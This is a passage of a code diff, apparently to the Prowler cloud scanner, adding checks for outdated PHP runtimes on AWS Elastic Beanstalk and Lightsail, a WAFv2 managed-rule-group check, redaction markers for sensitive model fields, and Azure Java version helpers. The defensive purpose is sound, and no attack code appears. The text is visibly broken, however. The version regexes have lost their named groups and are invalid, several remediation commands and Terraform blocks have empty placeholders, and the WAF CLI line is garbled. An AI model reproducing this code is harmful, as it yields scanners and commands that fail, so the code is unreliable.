-from typing import Optional
+from typing import ClassVar, Optional
from pydantic.v1 import BaseModel
@@ -286,6 +286,7 @@ class ECS(AWSService):
class ContainerEnvVariable(BaseModel):
name: str
+ sensitive_fields: ClassVar[tuple[str, ...]] = ("value",)
value: str
diff --git a/prowler/providers/aws/services/elasticbeanstalk/elasticbeanstalk_environment_php_platform_updated/__init__.py b/prowler/providers/aws/services/elasticbeanstalk/elasticbeanstalk_environment_php_platform_updated/__init__.py
new file mode 100644
index 0000000000..e69de29bb2
diff --git a/prowler/providers/aws/services/elasticbeanstalk/elasticbeanstalk_environment_php_platform_updated/elasticbeanstalk_environment_php_platform_updated.metadata.json b/prowler/providers/aws/services/elasticbeanstalk/elasticbeanstalk_environment_php_platform_updated/elasticbeanstalk_environment_php_platform_updated.metadata.json
new file mode 100644
index 0000000000..f7dbc0a805
--- /dev/null
+++ b/prowler/providers/aws/services/elasticbeanstalk/elasticbeanstalk_environment_php_platform_updated/elasticbeanstalk_environment_php_platform_updated.metadata.json
@@ -0,0 +1,44 @@
+{
+ "Provider": "aws",
+ "CheckID": "elasticbeanstalk_environment_php_platform_updated",
+ "CheckTitle": "Elastic Beanstalk PHP environment runs a platform version with the fixed PHP release",
+ "CheckType": [
+ "Software and Configuration Checks/Patch Management",
+ "Software and Configuration Checks/Vulnerabilities/CVE"
+ ],
+ "ServiceName": "elasticbeanstalk",
+ "SubServiceName": "",
+ "ResourceIdTemplate": "",
+ "Severity": "critical",
+ "ResourceType": "AwsElasticBeanstalkEnvironment",
+ "ResourceGroup": "compute",
+ "Description": "**Elastic Beanstalk PHP environments** are evaluated to confirm they run a supported PHP branch (`elasticbeanstalk_php_min_branch`, `8.2` by default) on an **Amazon Linux 2023 platform version** that bundles the fixed PHP release (`elasticbeanstalk_php_min_platform_version`, `4.13.13` by default). The platform family, version and PHP branch are read from the environment's solution stack name.",
+ "Risk": "PHP platform versions published before the fixed release bundle a PHP runtime vulnerable to **unauthenticated remote code execution** through crafted web requests, giving attackers code execution with the web worker's privileges, access to application data and the ability to crash the environment. Branches that reached end of life never receive the fix.",
+ "RelatedUrl": "",
+ "AdditionalURLs": [
+ "https://docs.aws.amazon.com/elasticbeanstalk/latest/relnotes/release-2026-10-21-al2023-php84-php85.html",
+ "https://docs.aws.amazon.com/elasticbeanstalk/latest/relnotes/release-2026-10-22-al2023-php82-php83.html",
+ "https://docs.aws.amazon.com/elasticbeanstalk/latest/dg/using-features.platform.upgrade.html",
+ "https://www.php.net/supported-versions.php"
+ ],
+ "Remediation": {
+ "Code": {
+ "CLI": "aws elasticbeanstalk update-environment --environment-name --solution-stack-name \"64bit Amazon Linux 2023 v4.13.13 running PHP 8.4\"",
+ "NativeIaC": "```yaml\nResources:\n :\n Type: AWS::ElasticBeanstalk::Environment\n Properties:\n ApplicationName: \n SolutionStackName: \"64bit Amazon Linux 2023 v4.13.13 running PHP 8.4\" # Critical: platform version with the fixed PHP release\n```",
+ "Other": "1. Open the AWS Management Console and go to Elastic Beanstalk\n2. Select the environment and open its dashboard\n3. Under Platform, choose Change version\n4. Select platform version 4.13.13 or newer for a supported PHP branch (8.2 or newer)\n5. Click Save and wait for the environment update to finish",
+ "Terraform": "```hcl\nresource \"aws_elastic_beanstalk_environment\" \"\" {\n name = \"\"\n application = \"\"\n solution_stack_name = \"64bit Amazon Linux 2023 v4.13.13 running PHP 8.4\" # Critical: platform version with the fixed PHP release\n}\n```"
+ },
+ "Recommendation": {
+ "Text": "Update every PHP environment to the latest Amazon Linux 2023 platform version and keep **managed platform updates** enabled so future security releases are applied automatically. Move environments still on PHP 8.1 or older to a supported branch, since those branches receive no fixes. Validate in staging and roll out with a maintenance window.",
+ "Url": "https://hub.prowler.com/check/elasticbeanstalk_environment_php_platform_updated"
+ }
+ },
+ "Categories": [
+ "vulnerabilities"
+ ],
+ "DependsOn": [],
+ "RelatedTo": [
+ "elasticbeanstalk_environment_managed_updates_enabled"
+ ],
+ "Notes": "Only environments whose solution stack runs PHP are evaluated. Platform versions are compared only within the Amazon Linux 2023 family; older families are reported as failing because they did not receive fixed PHP releases."
+}
diff --git a/prowler/providers/aws/services/elasticbeanstalk/elasticbeanstalk_environment_php_platform_updated/elasticbeanstalk_environment_php_platform_updated.py b/prowler/providers/aws/services/elasticbeanstalk/elasticbeanstalk_environment_php_platform_updated/elasticbeanstalk_environment_php_platform_updated.py
new file mode 100644
index 0000000000..b011c8cf0a
--- /dev/null
+++ b/prowler/providers/aws/services/elasticbeanstalk/elasticbeanstalk_environment_php_platform_updated/elasticbeanstalk_environment_php_platform_updated.py
@@ -0,0 +1,84 @@
+import re
+
+from prowler.lib.check.models import Check, Check_Report_AWS
+from prowler.providers.aws.services.elasticbeanstalk.elasticbeanstalk_client import (
+ elasticbeanstalk_client,
+)
+
+# "64bit Amazon Linux 2023 v4.13.13 running PHP 8.4"
+SOLUTION_STACK_RE = re.compile(
+ r"^(?P.+?) v(?P\d+(?:\.\d+)+) running PHP (?P\d+\.\d+)",
+ re.IGNORECASE,
+)
+# "arn:aws:elasticbeanstalk:us-east-1::platform/PHP 8.4 running on 64bit Amazon Linux 2023/4.13.13"
+PLATFORM_ARN_RE = re.compile(
+ r"platform/PHP (?P\d+\.\d+) running on (?P[^/]+)/(?P\d+(?:\.\d+)+)",
+ re.IGNORECASE,
+)
+AMAZON_LINUX_YEAR_RE = re.compile(r"Amazon Linux (\d{4})")
+# First Amazon Linux generation that received platform versions with the fixed PHP release
+FIXED_PLATFORM_YEAR = 2023
+
+
+def _version_tuple(value: str) -> tuple[int, ...]:
+ return tuple(int(part) for part in value.split(".")) if value else ()
+
+
+def _family_has_fixed_releases(family: str) -> bool:
+ match = AMAZON_LINUX_YEAR_RE.search(family)
+ return bool(match) and int(match.group(1)) >= FIXED_PLATFORM_YEAR
+
+
+def _php_platform(environment) -> tuple[str, str, str] | None:
+ """Return (branch, family, version) for PHP environments, None otherwise."""
+ for pattern, value in (
+ (SOLUTION_STACK_RE, environment.solution_stack_name),
+ (PLATFORM_ARN_RE, environment.platform_arn),
+ ):
+ match = pattern.search(value or "")
+ if match:
+ return match["branch"], match["family"], match["version"]
+ return None
+
+
+class elasticbeanstalk_environment_php_platform_updated(Check):
+ def execute(self):
+ findings = []
+ # `or` covers an explicit null in the config file, which .get() would return as None
+ min_php_branch = (
+ elasticbeanstalk_client.audit_config.get("elasticbeanstalk_php_min_branch")
+ or "8.2"
+ )
+ min_platform_version = (
+ elasticbeanstalk_client.audit_config.get(
+ "elasticbeanstalk_php_min_platform_version"
+ )
+ or "4.13.13"
+ )
+
+ for environment in elasticbeanstalk_client.environments.values():
+ php_platform = _php_platform(environment)
+ if not php_platform:
+ continue
+
+ php_branch, family, platform_version = php_platform
+ stack = environment.solution_stack_name or environment.platform_arn
+
+ report = Check_Report_AWS(metadata=self.metadata(), resource=environment)
+ report.status = "FAIL"
+
+ if _version_tuple(php_branch) < _version_tuple(min_php_branch):
+ report.status_extended = f"Elastic Beanstalk environment {environment.name} runs PHP {php_branch}, a branch that no longer receives security fixes (minimum supported branch is {min_php_branch})."
+ elif not _family_has_fixed_releases(family):
+ report.status_extended = f"Elastic Beanstalk environment {environment.name} runs PHP {php_branch} on platform '{stack}', a platform family without fixed PHP releases; migrate it to a PHP {php_branch} Amazon Linux 2023 platform version {min_platform_version} or newer."
+ elif _version_tuple(platform_version) < _version_tuple(
+ min_platform_version
+ ):
+ report.status_extended = f"Elastic Beanstalk environment {environment.name} runs PHP {php_branch} on platform version {platform_version}, below the minimum fixed platform version {min_platform_version}."
+ else:
+ report.status = "PASS"
+ report.status_extended = f"Elastic Beanstalk environment {environment.name} runs PHP {php_branch} on platform version {platform_version}, which includes the fixed PHP release."
+
+ findings.append(report)
+
+ return findings
diff --git a/prowler/providers/aws/services/elasticbeanstalk/elasticbeanstalk_service.py b/prowler/providers/aws/services/elasticbeanstalk/elasticbeanstalk_service.py
index 04db5d52dd..402ed240f3 100644
--- a/prowler/providers/aws/services/elasticbeanstalk/elasticbeanstalk_service.py
+++ b/prowler/providers/aws/services/elasticbeanstalk/elasticbeanstalk_service.py
@@ -1,4 +1,4 @@
-from typing import Optional
+from typing import ClassVar, Optional
from botocore.client import ClientError
from pydantic.v1 import BaseModel
@@ -39,6 +39,10 @@ class ElasticBeanstalk(AWSService):
application_name=environment["ApplicationName"],
name=environment["EnvironmentName"],
region=regional_client.region,
+ platform_arn=environment.get("PlatformArn", ""),
+ solution_stack_name=environment.get(
+ "SolutionStackName", ""
+ ),
)
except Exception as error:
logger.error(
@@ -121,8 +125,11 @@ class Environment(BaseModel):
arn: str
region: str
application_name: str
+ platform_arn: str = ""
+ solution_stack_name: str = ""
health_reporting: Optional[str]
managed_platform_updates: Optional[str]
cloudwatch_stream_logs: Optional[str]
tags: Optional[list] = []
+ sensitive_fields: ClassVar[tuple[str, ...]] = ("option_settings",)
option_settings: Optional[list] = None
diff --git a/prowler/providers/aws/services/glue/glue_service.py b/prowler/providers/aws/services/glue/glue_service.py
index 4376b19f6a..d0de9e6497 100644
--- a/prowler/providers/aws/services/glue/glue_service.py
+++ b/prowler/providers/aws/services/glue/glue_service.py
@@ -1,5 +1,5 @@
import json
-from typing import Dict, List, Optional
+from typing import ClassVar, Dict, List, Optional
from botocore.exceptions import ClientError
from pydantic.v1 import BaseModel, Field
@@ -275,6 +275,7 @@ class Connection(BaseModel):
name: str
arn: str
type: str
+ sensitive_fields: ClassVar[tuple[str, ...]] = ("properties",)
properties: dict
region: str
tags: Optional[List[Dict[str, str]]] = Field(default_factory=list)
@@ -308,6 +309,7 @@ class Job(BaseModel):
arn: str
name: str
security: Optional[str]
+ sensitive_fields: ClassVar[tuple[str, ...]] = ("arguments",)
arguments: Optional[Dict[str, str]] = Field(default_factory=dict)
region: str
tags: Optional[List[Dict[str, str]]] = Field(default_factory=list)
diff --git a/prowler/providers/aws/services/lightsail/lightsail_instance_php_blueprint_updated/__init__.py b/prowler/providers/aws/services/lightsail/lightsail_instance_php_blueprint_updated/__init__.py
new file mode 100644
index 0000000000..e69de29bb2
diff --git a/prowler/providers/aws/services/lightsail/lightsail_instance_php_blueprint_updated/lightsail_instance_php_blueprint_updated.metadata.json b/prowler/providers/aws/services/lightsail/lightsail_instance_php_blueprint_updated/lightsail_instance_php_blueprint_updated.metadata.json
new file mode 100644
index 0000000000..c41b2b4123
--- /dev/null
+++ b/prowler/providers/aws/services/lightsail/lightsail_instance_php_blueprint_updated/lightsail_instance_php_blueprint_updated.metadata.json
@@ -0,0 +1,43 @@
+{
+ "Provider": "aws",
+ "CheckID": "lightsail_instance_php_blueprint_updated",
+ "CheckTitle": "Lightsail instance created from a PHP blueprint runs a fixed PHP release",
+ "CheckType": [
+ "Software and Configuration Checks/Patch Management",
+ "Software and Configuration Checks/Vulnerabilities/CVE"
+ ],
+ "ServiceName": "lightsail",
+ "SubServiceName": "",
+ "ResourceIdTemplate": "arn:partition:lightsail:region:account-id:Instance/resource-id",
+ "Severity": "high",
+ "ResourceType": "Other",
+ "ResourceGroup": "compute",
+ "Description": "**Lightsail instances** created from blueprints that ship PHP (WordPress, WordPress Multisite, LAMP, Nginx and other PHP applications, configurable through `lightsail_php_blueprints`) are flagged for manual verification, because the PHP runtime inside the instance is not visible through the Lightsail API and running instances are not patched in place.",
+ "Risk": "A PHP release older than the fixed versions is vulnerable to **unauthenticated remote code execution** through crafted web requests. Lightsail does not update running instances, and Bitnami-packaged blueprints bundle their own PHP copy that the system package manager never updates, so the instance stays exploitable until it is patched by hand or recreated from an updated blueprint.",
+ "RelatedUrl": "",
+ "AdditionalURLs": [
+ "https://docs.aws.amazon.com/lightsail/latest/userguide/amazon-lightsail-update-php-security-vulnerabilities.html",
+ "https://docs.aws.amazon.com/lightsail/latest/userguide/migrate-from-bitnami-to-lightsail-blueprints.html",
+ "https://www.php.net/supported-versions.php"
+ ],
+ "Remediation": {
+ "Code": {
+ "CLI": "sudo apt update && sudo apt upgrade -y && sudo systemctl restart apache2 && php -v",
+ "NativeIaC": "",
+ "Other": "1. Create a snapshot of the instance\n2. Connect over SSH and check the PHP release: php -v on Lightsail-packaged blueprints, /opt/bitnami/php/bin/php -v on Bitnami-packaged blueprints\n3. Lightsail-packaged blueprints (WordPress, WordPress Multisite, LAMP, Nginx): run sudo apt update && sudo apt upgrade, then restart Apache (sudo systemctl restart apache2) or PHP-FPM on Nginx (sudo systemctl restart php8.2-fpm)\n4. Bitnami-packaged WordPress, WordPress Multisite and LAMP: create a new instance from the matching Lightsail-packaged blueprint, move the content, database and static IP, then delete the old instance\n5. Bitnami-packaged applications without a Lightsail-packaged equivalent (Drupal, Joomla, Magento, PrestaShop and others): install a package-managed PHP-FPM alongside the Bitnami copy and point the Bitnami web server at it, following the AWS guide linked above\n6. Confirm the web server uses the fixed release: 8.2.35, 8.3.36, 8.4.27, 8.5.12 or newer",
+ "Terraform": ""
+ },
+ "Recommendation": {
+ "Text": "Verify the PHP release on every instance created from a PHP blueprint and update it immediately. Prefer **Lightsail-packaged blueprints**, whose PHP is maintained through the system package manager, over Bitnami-packaged ones; where no Lightsail-packaged equivalent exists, replace the bundled Bitnami PHP with a package-managed PHP-FPM so future updates arrive through apt. Upgrade instances still on PHP 8.1 or older, since those branches receive no security fixes.",
+ "Url": "https://hub.prowler.com/check/lightsail_instance_php_blueprint_updated"
+ }
+ },
+ "Categories": [
+ "vulnerabilities"
+ ],
+ "DependsOn": [],
+ "RelatedTo": [
+ "lightsail_instance_automated_snapshots"
+ ],
+ "Notes": "This check always reports MANUAL for instances matching a PHP blueprint prefix, because the PHP version is only observable from inside the instance. Instances created from other blueprints are not evaluated."
+}
diff --git a/prowler/providers/aws/services/lightsail/lightsail_instance_php_blueprint_updated/lightsail_instance_php_blueprint_updated.py b/prowler/providers/aws/services/lightsail/lightsail_instance_php_blueprint_updated/lightsail_instance_php_blueprint_updated.py
new file mode 100644
index 0000000000..1330502759
--- /dev/null
+++ b/prowler/providers/aws/services/lightsail/lightsail_instance_php_blueprint_updated/lightsail_instance_php_blueprint_updated.py
@@ -0,0 +1,36 @@
+from prowler.lib.check.models import Check, Check_Report_AWS
+from prowler.providers.aws.services.lightsail.lightsail_client import lightsail_client
+
+default_php_blueprints = [
+ "wordpress",
+ "lamp",
+ "nginx",
+ "drupal",
+ "joomla",
+ "magento",
+ "prestashop",
+ "plesk",
+ "cpanel",
+]
+
+
+class lightsail_instance_php_blueprint_updated(Check):
+ def execute(self):
+ findings = []
+ php_blueprints = (
+ lightsail_client.audit_config.get("lightsail_php_blueprints")
+ or default_php_blueprints
+ )
+
+ for instance in lightsail_client.instances.values():
+ blueprint = instance.blueprint_id.lower()
+ if not any(blueprint.startswith(prefix) for prefix in php_blueprints):
+ continue
+
+ report = Check_Report_AWS(metadata=self.metadata(), resource=instance)
+ report.status = "MANUAL"
+ report.status_extended = f"Lightsail instance {instance.name} was created from the PHP blueprint '{instance.blueprint_id}'; the PHP runtime cannot be inspected through the API, verify over SSH that it runs a fixed release (8.2.35, 8.3.36, 8.4.27, 8.5.12 or newer); Bitnami-packaged blueprints bundle a PHP copy that apt never updates, so migrate them to the Lightsail-packaged blueprint or replace the bundled PHP with a package-managed one."
+
+ findings.append(report)
+
+ return findings
diff --git a/prowler/providers/aws/services/lightsail/lightsail_service.py b/prowler/providers/aws/services/lightsail/lightsail_service.py
index ce364a2238..e3f046db6a 100644
--- a/prowler/providers/aws/services/lightsail/lightsail_service.py
+++ b/prowler/providers/aws/services/lightsail/lightsail_service.py
@@ -81,6 +81,8 @@ class Lightsail(AWSService):
ip_address_type=instance.get("ipAddressType", "ipv4"),
ports=ports,
auto_snapshot=auto_snapshot_enabled,
+ blueprint_id=instance.get("blueprintId", ""),
+ blueprint_name=instance.get("blueprintName", ""),
)
except Exception as error:
@@ -183,6 +185,8 @@ class Instance(BaseModel):
ip_address_type: str
ports: List[PortRange]
auto_snapshot: bool
+ blueprint_id: str = ""
+ blueprint_name: str = ""
class Database(BaseModel):
diff --git a/prowler/providers/aws/services/sagemaker/sagemaker_service.py b/prowler/providers/aws/services/sagemaker/sagemaker_service.py
index be89bf538c..ee949b2ca8 100644
--- a/prowler/providers/aws/services/sagemaker/sagemaker_service.py
+++ b/prowler/providers/aws/services/sagemaker/sagemaker_service.py
@@ -1,5 +1,5 @@
import base64
-from typing import Optional
+from typing import ClassVar, Optional
from botocore.client import ClientError
from pydantic.v1 import BaseModel
@@ -594,6 +594,7 @@ class NotebookInstance(BaseModel):
lifecycle_config_name: str = None
# Decoded lifecycle scripts keyed by "[]" (e.g. "OnStart[0]"),
# populated by _describe_notebook_instance_lifecycle_config.
+ sensitive_fields: ClassVar[tuple[str, ...]] = ("lifecycle_scripts",)
lifecycle_scripts: dict = {}
# True if the lifecycle configuration could not be fully described/decoded,
# so the secrets check reports MANUAL instead of a false PASS.
diff --git a/prowler/providers/aws/services/ssm/ssm_service.py b/prowler/providers/aws/services/ssm/ssm_service.py
index 689047551c..f697a3ae08 100644
--- a/prowler/providers/aws/services/ssm/ssm_service.py
+++ b/prowler/providers/aws/services/ssm/ssm_service.py
@@ -1,7 +1,7 @@
import json
import time
from enum import Enum
-from typing import Optional
+from typing import ClassVar, Optional
from botocore.client import ClientError
from pydantic.v1 import BaseModel
@@ -194,6 +194,7 @@ class Document(BaseModel):
arn: str
name: str
region: str
+ sensitive_fields: ClassVar[tuple[str, ...]] = ("content",)
content: dict = None
account_owners: list[str] = None
tags: Optional[list] = []
diff --git a/prowler/providers/aws/services/stepfunctions/stepfunctions_service.py b/prowler/providers/aws/services/stepfunctions/stepfunctions_service.py
index 7580c88357..303190289a 100644
--- a/prowler/providers/aws/services/stepfunctions/stepfunctions_service.py
+++ b/prowler/providers/aws/services/stepfunctions/stepfunctions_service.py
@@ -1,6 +1,6 @@
from datetime import datetime
from enum import Enum
-from typing import Dict, List, Optional
+from typing import ClassVar, Dict, List, Optional
from botocore.exceptions import ClientError
from pydantic.v1 import BaseModel, Field
@@ -130,6 +130,7 @@ class StateMachine(BaseModel):
arn: str
name: Optional[str] = None
status: StateMachineStatus
+ sensitive_fields: ClassVar[tuple[str, ...]] = ("definition",)
definition: Optional[str] = None
role_arn: Optional[str] = None
type: StateMachineType
diff --git a/prowler/providers/aws/services/wafv2/wafv2_service.py b/prowler/providers/aws/services/wafv2/wafv2_service.py
index 5682502ae3..9e98e48522 100644
--- a/prowler/providers/aws/services/wafv2/wafv2_service.py
+++ b/prowler/providers/aws/services/wafv2/wafv2_service.py
@@ -133,11 +133,23 @@ class WAFv2(AWSService):
try:
rules = get_web_acl.get("WebACL", {}).get("Rules", [])
for rule in rules:
+ managed_statement = rule.get("Statement", {}).get(
+ "ManagedRuleGroupStatement"
+ )
new_rule = Rule(
name=rule.get("Name", ""),
cloudwatch_metrics_enabled=rule.get(
"VisibilityConfig", {}
).get("CloudWatchMetricsEnabled", False),
+ managed_rule_group=(
+ ManagedRuleGroup(
+ vendor_name=managed_statement.get("VendorName", ""),
+ name=managed_statement.get("Name", ""),
+ version=managed_statement.get("Version", ""),
+ )
+ if managed_statement
+ else None
+ ),
)
if (
rule.get("Statement", {})
@@ -200,11 +212,20 @@ class Scope(Enum):
CLOUDFRONT = "CLOUDFRONT"
+class ManagedRuleGroup(BaseModel):
+ """Managed rule group referenced by a Web ACL rule."""
+
+ vendor_name: str
+ name: str
+ version: str = ""
+
+
class Rule(BaseModel):
"""Model representing a rule for the Web ACL."""
name: str
cloudwatch_metrics_enabled: bool = False
+ managed_rule_group: Optional[ManagedRuleGroup] = None
class WebAclv2(BaseModel):
diff --git a/prowler/providers/aws/services/wafv2/wafv2_webacl_managed_rule_groups_enabled/__init__.py b/prowler/providers/aws/services/wafv2/wafv2_webacl_managed_rule_groups_enabled/__init__.py
new file mode 100644
index 0000000000..e69de29bb2
diff --git a/prowler/providers/aws/services/wafv2/wafv2_webacl_managed_rule_groups_enabled/wafv2_webacl_managed_rule_groups_enabled.metadata.json b/prowler/providers/aws/services/wafv2/wafv2_webacl_managed_rule_groups_enabled/wafv2_webacl_managed_rule_groups_enabled.metadata.json
new file mode 100644
index 0000000000..8893d12974
--- /dev/null
+++ b/prowler/providers/aws/services/wafv2/wafv2_webacl_managed_rule_groups_enabled/wafv2_webacl_managed_rule_groups_enabled.metadata.json
@@ -0,0 +1,44 @@
+{
+ "Provider": "aws",
+ "CheckID": "wafv2_webacl_managed_rule_groups_enabled",
+ "CheckTitle": "WAFv2 Web ACL uses managed rule groups",
+ "CheckType": [
+ "Software and Configuration Checks/AWS Security Best Practices",
+ "Effects/Data Exposure"
+ ],
+ "ServiceName": "wafv2",
+ "SubServiceName": "",
+ "ResourceIdTemplate": "arn:partition:wafv2:region:account-id:scope/webacl/webacl-name/webacl-id",
+ "Severity": "medium",
+ "ResourceType": "AwsWafv2WebAcl",
+ "ResourceGroup": "network",
+ "Description": "**WAFv2 Web ACLs** are evaluated to confirm at least one rule references a **managed rule group** (`ManagedRuleGroupStatement`), such as the AWS Core rule set or the PHP application rule set, whose signatures the vendor updates when new attack patterns appear.",
+ "Risk": "A Web ACL built only from custom rules receives no vendor-maintained signatures, so newly disclosed exploitation patterns against the protected application reach the backend uninspected until someone writes a rule by hand. Managed rule groups are the compensating control cloud providers ship while runtime patches roll out, including request body size limits and runtime-specific rules.",
+ "RelatedUrl": "",
+ "AdditionalURLs": [
+ "https://docs.aws.amazon.com/waf/latest/developerguide/aws-managed-rule-groups.html",
+ "https://docs.aws.amazon.com/waf/latest/developerguide/aws-managed-rule-groups-use-case.html#aws-managed-rule-groups-use-case-php-app",
+ "https://docs.aws.amazon.com/waf/latest/developerguide/aws-managed-rule-groups-baseline.html"
+ ],
+ "Remediation": {
+ "Code": {
+ "CLI": "aws wafv2 get-web-acl --name --scope --id > webacl.json && ,\"Statement\":{\"ManagedRuleGroupStatement\":{\"VendorName\":\"AWS\",\"Name\":\"AWSManagedRulesCommonRuleSet\"}},\"OverrideAction\":{\"None\":{}},\"VisibilityConfig\":{\"SampledRequestsEnabled\":true,\"CloudWatchMetricsEnabled\":true,\"MetricName\":\"AWSManagedRulesCommonRuleSet\"}} to .WebACL.Rules in webacl.json> && aws wafv2 update-web-acl --name --scope --id --lock-token --default-action --visibility-config --rules ",
+ "NativeIaC": "```yaml\nResources:\n :\n Type: AWS::WAFv2::WebACL\n Properties:\n Name: \n Scope: REGIONAL\n DefaultAction:\n Allow: {}\n VisibilityConfig:\n SampledRequestsEnabled: true\n CloudWatchMetricsEnabled: true\n MetricName: \n Rules:\n - Name: AWS-AWSManagedRulesCommonRuleSet\n Priority: 0\n OverrideAction:\n None: {}\n Statement:\n ManagedRuleGroupStatement: # Critical: managed rule group to pass the check\n VendorName: AWS\n Name: AWSManagedRulesCommonRuleSet\n VisibilityConfig:\n SampledRequestsEnabled: true\n CloudWatchMetricsEnabled: true\n MetricName: AWSManagedRulesCommonRuleSet\n```",
+ "Other": "1. Open the AWS WAF console and select the Web ACL\n2. Open the Rules tab and choose Add rules > Add managed rule groups\n3. Enable the AWS Core rule set and the rule groups matching the protected application (for example PHP application); the console keeps the existing rules and default action\n4. Save the Web ACL and review sampled requests before switching rules from Count to Block",
+ "Terraform": "```hcl\nresource \"aws_wafv2_web_acl\" \"\" {\n name = \"\"\n scope = \"REGIONAL\"\n\n default_action {\n allow {}\n }\n\n rule {\n name = \"AWS-AWSManagedRulesCommonRuleSet\"\n priority = 0\n\n override_action {\n none {}\n }\n\n statement {\n managed_rule_group_statement { # Critical: managed rule group to pass the check\n name = \"AWSManagedRulesCommonRuleSet\"\n vendor_name = \"AWS\"\n }\n }\n\n visibility_config {\n cloudwatch_metrics_enabled = true\n metric_name = \"AWSManagedRulesCommonRuleSet\"\n sampled_requests_enabled = true\n }\n }\n\n visibility_config {\n cloudwatch_metrics_enabled = true\n metric_name = \"\"\n sampled_requests_enabled = true\n }\n}\n```"
+ },
+ "Recommendation": {
+ "Text": "Attach the **AWS Core rule set** to every Web ACL and add the managed rule groups that match the protected stack (PHP, SQL database, known bad inputs). Keep the default rule group version so vendor updates apply automatically, and review sampled requests before moving rules from Count to Block.",
+ "Url": "https://hub.prowler.com/check/wafv2_webacl_managed_rule_groups_enabled"
+ }
+ },
+ "Categories": [
+ "internet-exposed"
+ ],
+ "DependsOn": [],
+ "RelatedTo": [
+ "wafv2_webacl_with_rules",
+ "wafv2_webacl_logging_enabled"
+ ],
+ "Notes": "Rule groups attached through Firewall Manager are not inspected for managed statements, so a Web ACL protected only by Firewall Manager policies may be reported as failing. UpdateWebACL replaces the whole rule list and default action, so any CLI or IaC remediation must resend the existing configuration together with the new managed rule group."
+}
diff --git a/prowler/providers/aws/services/wafv2/wafv2_webacl_managed_rule_groups_enabled/wafv2_webacl_managed_rule_groups_enabled.py b/prowler/providers/aws/services/wafv2/wafv2_webacl_managed_rule_groups_enabled/wafv2_webacl_managed_rule_groups_enabled.py
new file mode 100644
index 0000000000..d437887c24
--- /dev/null
+++ b/prowler/providers/aws/services/wafv2/wafv2_webacl_managed_rule_groups_enabled/wafv2_webacl_managed_rule_groups_enabled.py
@@ -0,0 +1,26 @@
+from prowler.lib.check.models import Check, Check_Report_AWS
+from prowler.providers.aws.services.wafv2.wafv2_client import wafv2_client
+
+
+class wafv2_webacl_managed_rule_groups_enabled(Check):
+ def execute(self):
+ findings = []
+ for web_acl in wafv2_client.web_acls.values():
+ report = Check_Report_AWS(metadata=self.metadata(), resource=web_acl)
+ managed_rule_groups = [
+ f"{rule.managed_rule_group.vendor_name}/{rule.managed_rule_group.name}"
+ for rule in web_acl.rules
+ if rule.managed_rule_group
+ ]
+ report.status = "FAIL"
+ report.status_extended = (
+ f"AWS WAFv2 Web ACL {web_acl.name} does not use any managed rule group."
+ )
+
+ if managed_rule_groups:
+ report.status = "PASS"
+ report.status_extended = f"AWS WAFv2 Web ACL {web_acl.name} uses managed rule groups: {', '.join(managed_rule_groups)}."
+
+ findings.append(report)
+
+ return findings
diff --git a/prowler/providers/azure/lib/runtime/__init__.py b/prowler/providers/azure/lib/runtime/__init__.py
new file mode 100644
index 0000000000..e69de29bb2
diff --git a/prowler/providers/azure/lib/runtime/runtime_version.py b/prowler/providers/azure/lib/runtime/runtime_version.py
new file mode 100644
index 0000000000..a2531f8038
--- /dev/null
+++ b/prowler/providers/azure/lib/runtime/runtime_version.py
@@ -0,0 +1,32 @@
+import re
+
+_VERSION_RE = re.compile(r"\d+(?:\.\d+)*")
+_JAVA_SUFFIX_RE = re.compile(r"-(?:java|jre)(\d+)", re.IGNORECASE)
+
+
+def parse_runtime_version(value) -> tuple[int, ...]:
+ """Return the first dotted number in a stack string as an int tuple, empty if none."""
+ match = _VERSION_RE.search("" if value is None else str(value))
+ return tuple(int(part) for part in match.group().split(".")) if match else ()
+
+
+def parse_java_version(value) -> tuple[int, ...]:
+ """Java major from 'JAVA|17-java17', 'TOMCAT|10.0-java11', '1.8' or '17'."""
+ match = _JAVA_SUFFIX_RE.search("" if value is None else str(value))
+ if match:
+ return (int(match.group(1)),)
+ version = parse_runtime_version(value)
+ # Legacy '1.8' naming for Java 8
+ if len(version) > 1 and version[0] == 1:
+ return (version[1],)
+ return version[:1]
+
+
+def runtime_version_at_least(
+ current: tuple[int, ...], minimum: tuple[int, ...]
+) -> bool:
+ """Compare only the components the platform exposes (no patch level in linuxFxVersion)."""
+ if not current or not minimum:
+ return False
+ length = min(len(current), len(minimum))
+ return current[:length] >= minimum[:length]
diff --git a/prowler/providers/azure/services/app/app_ensure_java_version_is_latest/app_ensure_java_version_is_latest.metadata.json b/prowler/providers/azure/services/app/app_ensure_java_version_is_latest/app_ensure_java_version_is_latest.metadata.json
index 857a3c5ee7..8770298440 100644
--- a/prowler/providers/azure/services/app/app_ensure_java_version_is_latest/app_ensure_java_version_is_latest.metadata.json
+++ b/prowler/providers/azure/services/app/app_ensure_java_version_is_latest/app_ensure_java_version_is_latest.metadata.json
@@ -1,7 +1,7 @@
{
"Provider": "azure",
"CheckID": "app_ensure_java_version_is_latest",
- "CheckTitle": "App Service web app uses the latest supported Java version or 17 by default",
+ "CheckTitle": "App Service web app runs a supported Java version (17 or newer by default)",
"CheckType": [],
"ServiceName": "app",
"SubServiceName": "",
@@ -9,7 +9,7 @@
"Severity": "low",
"ResourceType": "microsoft.web/sites",
"ResourceGroup": "serverless",
- "Description": "**Azure App Service web apps** that run **Java** are assessed to ensure their configured runtime uses the **latest supported major version** (LTS) for the environment, across Linux and Windows.\n\n*Only apps with Java enabled are considered.*",
+ "Description": "**Azure App Service web apps** that run **Java** are assessed to ensure their configured runtime major version is at or above the configured **minimum supported LTS** (`java_latest_version`, `17` by default), across Linux and Windows.\n\n*Only apps with Java enabled are considered.*",
"Risk": "Using an **outdated Java runtime** enables known exploits like **remote code execution**, unsafe **deserialization**, and **cryptographic flaws**, risking data theft and tampering (**confidentiality, integrity**) and outages or takeover (**availability**). Unsupported versions also delay critical security patches.",
"RelatedUrl": "",
"AdditionalURLs": [
diff --git a/prowler/providers/azure/services/app/app_ensure_java_version_is_latest/app_ensure_java_version_is_latest.py b/prowler/providers/azure/services/app/app_ensure_java_version_is_latest/app_ensure_java_version_is_latest.py
index 46aaa5aa9a..914f27fd76 100644
--- a/prowler/providers/azure/services/app/app_ensure_java_version_is_latest/app_ensure_java_version_is_latest.py
+++ b/prowler/providers/azure/services/app/app_ensure_java_version_is_latest/app_ensure_java_version_is_latest.py
@@ -1,4 +1,8 @@
from prowler.lib.check.models import Check, Check_Report_Azure
+from prowler.providers.azure.lib.runtime.runtime_version import (
+ parse_java_version,
+ runtime_version_at_least,
+)
from prowler.providers.azure.services.app.app_client import app_client
@@ -14,27 +18,33 @@ class app_ensure_java_version_is_latest(Check):
